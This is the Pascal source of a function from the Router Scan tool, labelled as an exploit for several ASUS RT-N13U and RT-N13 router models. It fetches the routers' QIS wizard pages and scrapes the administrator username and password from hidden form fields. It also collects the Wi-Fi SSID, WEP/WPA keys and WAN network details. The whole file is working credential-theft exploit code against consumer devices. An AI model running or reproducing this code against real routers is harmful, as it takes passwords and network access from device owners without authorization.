// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_ASUS_QIS(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
begin
  // Affected:
  // ASUS RT-N13U
  // ASUS RT-N13U Rev.B1
  // ASUS RT-N13
  Result := False;
  if (ServerName <> 'httpd')
  and (ServerName <> 'httpd/2.0') then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/QIS_wizard.htm', S, Code, 8, 0,
  ServerName, UseAuth, AuthUser, AuthPass) then begin
    if (Code = 401) or (S = '') then
      GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/qis/QIS_wizard.htm', S, Code, 8, 0,
      ServerName, UseAuth, AuthUser, AuthPass);
    AuthUser := DeleteBetween(S, '<input type="hidden" name="http_username" value="', '">');
    AuthPass := DeleteBetween(S, '<input type="hidden" name="http_passwd" value="', '">');
    ParseHTMLDec(AuthUser);
    ParseHTMLDec(AuthPass);
    if (AuthUser <> '') and (AuthPass <> '') then
      Result := True;
  end;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/qis/QIS_wireless.htm', S, Code, 8, 0,
  ServerName, UseAuth, AuthUser, AuthPass) then
    if Pos('wl_ssid', S)>0 then begin
      SSID := DeleteBetween(S, 'name="rt_ssid2" value="', '"');
      if SSID = '' then
        SSID := DeleteBetween(S, 'name="wl_ssid2" value="', '"');
      if Pos('<option value="open" selected>', S)>0 then
        Sec := 'Open';
      if Pos('<option value="shared" selected>', S)>0 then
        Sec := 'WEP Shared';
      if Pos('<option value="psk" selected>WPA-Personal', S)>0 then
        Sec := 'WPA';
      if Pos('<option value="psk" selected>WPA2-Personal', S)>0 then
        Sec := 'WPA2';
      if Pos('<option value="psk" selected>WPA-Auto-Personal', S)>0 then
        Sec := 'WPA/WPA2';
      if Pos('<option value="wpa" selected>WPA-Enterprise', S)>0 then
        Sec := 'WPA Enterprise';
      if Pos('<option value="wpa2" selected>', S)>0 then
        Sec := 'WPA2 Enterprise';
      if Pos('<option value="wpa" selected>WPA-Auto-Enterprise', S)>0 then
        Sec := 'WPA/WPA2 Enterprise';
      if Pos('<option value="radius" selected>', S)>0 then
        Sec := '802.1X';
      if Sec = '' then begin
        if DeleteBetween(S, 'name="rt_wpa_psk" value="', '" ') <> '' then
          Sec := 'WPA/WPA2';
      end;
      if Sec = 'Open' then begin
        Tmp := DeleteBetween(S, '<select name="wl_wep', '</select>');
        if Pos('<option value="0" selected>', Tmp)>0 then begin
          Sec := 'None';
          Pasw := '<empty>';
        end;
        if Pos('<option value="1" selected>', Tmp)>0 then
          Sec := 'WEP';
        if Pos('<option value="2" selected>', Tmp)>0 then
          Sec := 'WEP';
      end;
      if (Sec = 'WEP')
      or (Sec = 'WEP Shared') then begin
        Tmp := DeleteBetween(S, '<select name="wl_key', '</select>');
        if Pos('<option value="1" selected>', S)>0 then
          Pasw := DeleteBetween(S, 'name="wl_key1" value="', '"');
        if Pos('<option value="2" selected>', S)>0 then
          Pasw := DeleteBetween(S, 'name="wl_key2" value="', '"');
        if Pos('<option value="3" selected>', S)>0 then
          Pasw := DeleteBetween(S, 'name="wl_key3" value="', '"');
        if Pos('<option value="4" selected>', S)>0 then
          Pasw := DeleteBetween(S, 'name="wl_key4" value="', '"');
        WEPHexToAnsi(Pasw);
        if Sec = 'WEP' then
          Sec := WEPBits(Pasw)
        else
          Sec := WEPBits(Pasw, True);
      end;
      if (Sec = 'WPA')
      or (Sec = 'WPA2')
      or (Sec = 'WPA/WPA2')
      then begin
        Pasw := DeleteBetween(DeleteBetween(S, 'name="rt_wpa_psk"', '">'), 'value="', '" ');
        if Pasw = '' then
          Pasw := DeleteBetween(DeleteBetween(S, 'name="rt_wpa_psk2"', '>'), 'value="', '"');
        if Pasw = '' then
          Pasw := DeleteBetween(DeleteBetween(S, 'name="wl_wpa_psk"', '">'), 'value="', '" ');
        ParseHTMLHex(Pasw);
        if Pasw = '' then begin
          Pasw := DeleteBetween(S, 'var wl_wpa_psk_org = ''', ''';');
          Pasw := StringReplace(Pasw, '\''', '''', [rfReplaceAll]);
          Pasw := StringReplace(Pasw, '\"', '"', [rfReplaceAll]);
          Pasw := StringReplace(Pasw, '\\', '\', [rfReplaceAll]);
        end;
      end;
      if (Sec = '802.1X')
      or (Sec = 'WPA Enterprise')
      or (Sec = 'WPA2 Enterprise')
      or (Sec = 'WPA/WPA2 Enterprise')
      then begin
        Pasw := stcNoAccess;
      end;
      if SSID <> '' then begin
        ParseHTMLHex(SSID);
        SetTableCell(stcSSID, SSID);
      end;
      if Sec <> '' then
        SetTableCell(stcSec, Sec);
      if Pasw <> '' then
        SetTableCell(stcKey, Pasw);
    end;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/qis/QIS_verify.htm', S, Code, 8, 0,
  ServerName, UseAuth, AuthUser, AuthPass) then begin
    WAN := DeleteBetween(S, 'function wanlink_ipaddr() { return ''', ''';');
    if WAN <> '' then
      SetTableCell(stcWANIP, WAN);
    WAN := DeleteBetween(S, 'function wanlink_netmask() { return ''', ''';');
    if WAN <> '' then
      SetTableCell(stcWANMask, WAN);
    WAN := DeleteBetween(S, 'function wanlink_gateway() { return ''', ''';');
    if WAN <> '' then
      SetTableCell(stcWANGate, WAN);
    WAN := DeleteBetween(S, 'function wanlink_dns() { return ''', ''';');
    if WAN <> '' then
      SetTableCell(stcDNS, WAN);
  end;
end;
